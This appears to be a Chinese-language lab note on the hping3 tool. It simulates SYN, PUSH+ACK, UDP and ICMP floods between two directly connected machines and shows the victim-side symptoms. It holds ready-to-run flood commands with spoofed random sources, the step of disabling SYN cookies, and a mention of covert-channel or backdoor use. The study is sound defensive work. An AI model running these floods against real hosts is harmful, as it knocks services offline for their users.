目錄

Hping3 工具使用

hping3

hping 最早來自 Salvatore Sanfilippo (網名 antirez)。沒錯,他就是後來開發了 Redis 的那位傳奇工程師。

根據 AI,他的演進好像是:

  • hping (1998 年):最初版本。它打破了傳統 ping 的限制,允許使用者手動設定 TCP 序號。在當時,這對於研究 TCP 序列預測(Sequence Prediction)攻擊非常有用
  • hping2 (2001-2002 年):這個版本將功能擴展到了 UDP、ICMP 以及更複雜的路徑 MTU 發現。它成為了當時滲透測試工程師的標準配備
  • hping3 (2004 年至今):這是目前最穩定、最廣泛使用的版本

hping3 最核心的整合是,整合了 Tcl (Tool Command Language) 腳本語言。這代表你不再只能下單行指令,你可以寫腳本來定義複雜的封包發送邏輯。但在這邊我們只是看他的指令。

看了一下 GitHub,上次提交已經是 12 年前了,看來之後沒什麼更新。

信息
Nmap 官方為了補足 Nmap 在「自定義封包發送」上的不足,他們開發了 nping。它幾乎可以做所有 hping3 能做的事,而且語法更現代化。

跟 DDoS 模擬有關的選項

  1. Base Option
    • -c:設定發送多少個封包
    • -I --interface [名稱]:強制指定從哪張網卡發包
    • -i --interval [uX]:設定發包間隔。預設是 1 秒
    • --flood:以硬體極限速度發包,完全不理會對方的回應
  2. Protocol Seleciton: 設定用哪個協定,比較特殊的是
    • -8, --scan: 這讓 hping3 瞬間變成類似 Nmap 的工具
    • -9, --listen: 這是一個非常有創意的功能。它會讓 hping3 進入「等待」狀態,直到網路上出現包含特定「簽名(Signature)」的封包。可以用來建立隱蔽通道(Covert Channel)或簡易的後門觸發機制。
  3. IP 相關選項
    • -a:指定一個假的 Src IP
    • --rand-source:每個封包都隨機 Src IP

DDoS 實驗

這邊嘗試用兩台電腦直接相接,一台發起攻擊,另外一台模擬 IP 192.168.169.90 當作受害者,看看發起攻擊會有什麼特徵。

SYN Flood

hping3 -S --rand-source -p 80 <目標 IP>,可以再加上 --flood 讓他不計代價瘋狂發封包,但模擬這樣就夠了。

電腦 OS 會有一個 SYN Queue (半開連線隊列),所以打一般電腦就是要讓他塞滿。在 Linux 中,SYN Queue 的最大長度主要由核心參數 tcp_max_syn_backlog 決定。

kola:~$ sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 1024
kola:~$ sysctl net.core.somaxconn
net.core.somaxconn = 4096

可以用以下指令看現在目前半開的狀態:

# 計算目前處於 SYN_RECV 狀態的連線數量
ss -ant state syn-recv | wc -l
# 如果你想看具體是哪些 IP 佔著位子
ss -ant state syn-recv

實際上目前 Linux 預設都會有 SYN Cookie,如果發現太多 SYN 連線半開,就會在 Dmesg 看到相關的 LOG,所以你用 ss -ant 看不會有半開,因為都用 SYN Cookie。

adl@adl-D630MT:~$ sudo dmesg | grep SYN
[11132544.177997] TCP: request_sock_TCP: Possible SYN flooding on port 0.0.0.0:80. Sending cookies.
adl@adl-D630MT:~$ nstat -az TcpExtSyncookiesSent
#kernel
TcpExtSyncookiesSent            1272244            0.0

所以我們先把 SYN Cookie 關掉,sudo sysctl -w net.ipv4.tcp_syncookies=0

開始打封包,可以看到大概我的電腦跑:

adl@Twinkle:~$ sudo hping3 -S --rand-source -i u10 -c 100000 -p 80 192.168.169.90
HPING 192.168.169.90 (enp6s0f1 192.168.169.90): S set, 40 headers + 0 data bytes
23155 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

-i u10 跑大概 27 MBit/s,不用大概可以跑 400 MBit/s。

然後我們看接收端有什麼變化,用 watch -n 1 "ss -ant state syn-recv | wc -l

adl@adl-D630MT:~$ watch -n 1 "ss -ant state syn-recv | wc -l"
adl@adl-D630MT:~$ netstat -s | grep "SYNs to LISTEN sockets dropped"
    18 SYNs to LISTEN sockets dropped
adl@adl-D630MT:~$ 

這時候發起攻擊可以看到

攻擊者:

adl@Twinkle:~$ sudo hping3 -S -p 80 --flood 192.168.169.90
HPING 192.168.169.90 (enp6s0f1 192.168.169.90): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.169.90 hping statistic ---
7383383 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

受害者:

/hping3/image.png

adl@adl-D630MT:~$ cat /proc/sys/net/ipv4/tcp_max_syn_backlog
1024

大概停在 508 也就是接近 queue 的最大數字的一半,當 tcp_syncookies 設為 0 時,Linux 核心為了避免記憶體被完全耗盡,通常不會讓你真的用到 100% 的 tcp_max_syn_backlog。在某些核心版本或配置下,當隊列填滿到一定比例(通常是 1/2 或 3/4)時,系統就會開始主動丟棄(Drop)新的 SYN 包。

/hping3/image-1.png

上面是驚人的 4,154,964 了嗎?這代表你的伺服器已經丟棄了超過 415 萬個 SYN 連線請求。

PSUH + ACK Flood

因為你發送的是一個「偽造連線」的 ACK 封包,受害者的核心在收到後會執行以下檢查:

  1. 查表:核心查看現有的 TCP 連線表(Established Table)
  2. 查無此人:核心發現這封包對應的「來源 IP + Port」根本沒有建立過連線
  3. 防衛機制:根據 TCP 協議(RFC 793),如果收到一個不屬於任何已知連線的 ACK 封包,接收端必須回傳一個 RST 封包,告訴對方:「我不認識這個連線,請關閉它」

雖然只是簡單的回傳一個 RST,但當攻擊量達到每秒數萬次時,會產生以下負擔:

  1. 雙向流量壓力:你發出多少 PUSH+ACK,受害者就得回送多少 RST。這會瞬間佔滿受害者的上傳頻寬(Outgoing Bandwidth)
  2. CPU 查表開銷:核心在決定回傳 RST 之前,必須先消耗 CPU 去搜尋雜湊表(Hash Table)
  3. Softirq 負載:處理每個進來的封包都會觸發軟中斷

使用 sudo hping3 -P -A -p 80 --flood 192.168.169.90 模擬發起攻擊。

受害者我們用 watch -n 1 "sar -n DEV 1" 看收到的流量 (PPS 很大) 跟用 htop 看 CPU,會有一個 Core 變很大(都在處理封包,現代網卡雖然支援多隊列(Multi-queue),但對於來自同一個來源、打向同一個目標的流量,網卡通常會透過雜湊(Hash)將其分配給同一個 CPU 核心處理,以維持封包順序)。

/hping3/image-2.png

/hping3/image-3.png

然後會看到一堆 RST 封包送回去:

adl@adl-D630MT:~$ sudo tcpdump -i enp0s31f6 'tcp[tcpflags] & tcp-rst != 0' -n -c 100
[sudo] password for adl: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp0s31f6, link-type EN10MB (Ethernet), snapshot length 262144 bytes
17:22:19.772345 IP 192.168.169.90.80 > 192.168.169.81.1031: Flags [R], seq 685675530, win 0, length 0
17:22:19.772358 IP 192.168.169.90.80 > 192.168.169.81.1032: Flags [R], seq 1034589902, win 0, length 0
17:22:19.772363 IP 192.168.169.90.80 > 192.168.169.81.1033: Flags [R], seq 1457572995, win 0, length 0
17:22:19.772368 IP 192.168.169.90.80 > 192.168.169.81.1034: Flags [R], seq 1775432224, win 0, length 

UDP Flood

通常 UDP Flood 會打有開 Port 的 UDP Service,會需要花時間處理 UDP 封包。

所以我們先寫一個簡單的 Python UDP Service:

adl@adl-D630MT:~$ cat udp_listen.py 
import socket

# 設定監聽 IP 與 Port
UDP_IP = "0.0.0.0"
UDP_PORT = 8000

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

print(f"UDP Server 啟動,監聽端口: {UDP_PORT}")
count = 0

while True:
    data, addr = sock.recvfrom(1024) # 接收封包
    count += 1
    if count % 10000 == 0:
        print(f"已處理 {count} 個封包...")

使用 sudo hping3 --udp -p 8000 --flood 192.168.169.90 模擬攻擊

/hping3/image-4.png

如上圖,這次有兩個 CPU Core 滿了,一個是 Python service,一個是專門處理網卡的。

/hping3/image-5.png

然後可以用 netstat -su 看到 receive buffer errors (3,388,515),這代表有 338 萬個封包 雖然成功進到了網卡、通過了核心(Kernel),但因為你跑的 UDP Service(可能是 Python 或 nc)讀取速度太慢,導致該 Socket 的接收緩衝區(Receive Buffer)完全爆滿。

ICMP Flood

一般伺服器的下載頻寬(Inbound)通常很大,但上傳頻寬(Outbound)比較窄。攻擊者利用 ICMP 強迫受害者把自己的上傳頻寬塞滿,導致受害者無法傳送正常的網頁資料或回覆給其他客人。

使用 sudo hping3 --icmp --flood 192.168.169.90 模擬。

受害者使用 watch -n 1 "netstat -s | grep -i icmp" 查看。

/hping3/image-6.png

如上,received and sent 幾乎一比一。

Reference